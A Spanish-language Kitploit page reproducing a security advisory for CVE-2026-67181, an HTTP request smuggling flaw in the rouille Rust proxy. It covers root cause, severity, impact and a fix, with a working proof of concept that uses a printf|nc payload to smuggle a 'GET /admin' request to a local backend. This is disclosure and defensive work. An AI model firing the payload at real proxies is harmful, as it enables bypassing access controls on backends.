Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille- — Aviso de seguridad: contrabando de peticiones HTTP mediante desincronización de Transfer-Encoding (rouille) | Kitploit
Herramientas/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

Aviso de seguridad: contrabando de peticiones HTTP mediante desincronización de Transfer-Encoding (rouille)

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
hace 23 díasAún no revisado

Aviso de seguridad: Contrabando de peticiones HTTP mediante desincronización de Transfer-Encoding (rouille)

ID de CVE asignado: CVE-2026-67181

Resumen

rouille::proxy::proxy reenvía la cabecera Transfer-Encoding del cliente al backend sin cambios, pero escribe el cuerpo de la petición que tiny_http ya ha desfragmentado (de-chunked). Nunca emite un Content-Length propio. Al backend se le indica que el cuerpo está fragmentado (chunked) y se le entregan bytes que no lo están, por lo que es el cliente, no rouille, quien decide dónde cree el backend que termina el cuerpo.

Versiones afectadas

URL del repositorio: https://github.com/tomaka/rouille

Primera afectada0.3.3 (2016-12-03), la versión que introdujo src/proxy.rs
Última afectada3.6.2 (2023-04-24), la versión actual
No afectadas0.3.2 y anteriores, que no tienen módulo de proxy
Corregida enninguna versión corregida en el momento de redactar este documento

src/proxy.rs es byte-idéntico entre la etiqueta 3.6.2 y el master actual. Solo las aplicaciones que llaman a proxy::proxy o proxy::full_proxy están afectadas.

Severidad

CWE-444 (Interpretación inconsistente de peticiones HTTP).

Puntuación base CVSS 4.0: 6.3 (Media) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Modelo de amenaza

Un cliente remoto, no autenticado, que envía HTTP sin formato a una aplicación rouille que actúa como proxy inverso. No se necesitan credenciales ni interacción del usuario.

El impacto depende del backend. Los backends que canalizan (pipeline) independientemente de Connection: close, y cualquier intermediario con pool de conexiones situado entre rouille y el origen, actuarán sobre la petición introducida de contrabando. Los backends que respetan Connection: close siguen terminando con un cuerpo de petición diferente del que envió el cliente y del que observó rouille.

Causa raíz

tiny_http desfragmenta siempre que hay una cabecera Transfer-Encoding presente y descarta Content-Length.

tiny_http-0.12.0/src/request.rs, líneas 149 a 159:

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs, líneas 218 a 221:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

rouille/src/proxy.rs reenvía entonces todas las cabeceras excepto Connection y copia el cuerpo decodificado. Líneas 167 a 174:

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

El Transfer-Encoding: chunked del cliente sobrevive en la línea 171. La línea 174 escribe el texto plano que produjo Decoder. Nunca se escribe ningún Content-Length, por lo que el backend no tiene nada más con qué delimitar y aplica el análisis fragmentado (chunked parsing) al texto plano elegido por el atacante.

Prueba de concepto

Paso 1. Inicie un listener sin formato en el puerto 8001 para actuar como backend y mostrar los bytes que envía rouille.

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

Paso 2. Inicie un front end rouille en el puerto 8000.

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Paso 3. Envíe una petición fragmentada correctamente cuyo cuerpo decodificado sea en sí mismo un flujo fragmentado que termina de inmediato, seguido de una segunda petición. El fragmento único tiene una longitud de 0x3d = 61 bytes.

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

Resultado. El listener del paso 1 muestra que rouille anuncia fragmentación y luego envía texto plano:

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

Un backend que respeta Transfer-Encoding: chunked lee la línea de tamaño de fragmento 0, concluye que el cuerpo está vacío y analiza los 56 bytes restantes como una nueva petición.

Impacto

La visión del backend sobre el cuerpo de la petición difiere tanto de los bytes que envió el cliente como de los bytes que leyó rouille. Cualquier componente anterior que registre, audite o refleje el cuerpo registrará algo distinto de aquello sobre lo que actuó el backend.

Cuando el backend canaliza a pesar de Connection: close, o cuando hay un intermediario con pool de conexiones entre rouille y el origen, los bytes finales se convierten en una segunda petición con un método y una ruta elegidos por el atacante.

El Content-Length del cliente también se reenvía aunque tiny_http lo ignoró, por lo que un backend que prefiera Content-Length sobre Transfer-Encoding sufre directamente una desincronización CL.TE.

Remediación

No reenvíe cabeceras de delimitación que describan un cuerpo que rouille ya ha decodificado. En src/proxy.rs, amplíe la omisión en la línea 167:

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

A continuación, emita una delimitación que coincida con lo que realmente se escribe: almacene el cuerpo en búfer y envíe un Content-Length preciso, o vuelva a fragmentarlo y envíe usted mismo Transfer-Encoding: chunked, antes del \r\n\r\n final de la línea 173.

Descargar herramienta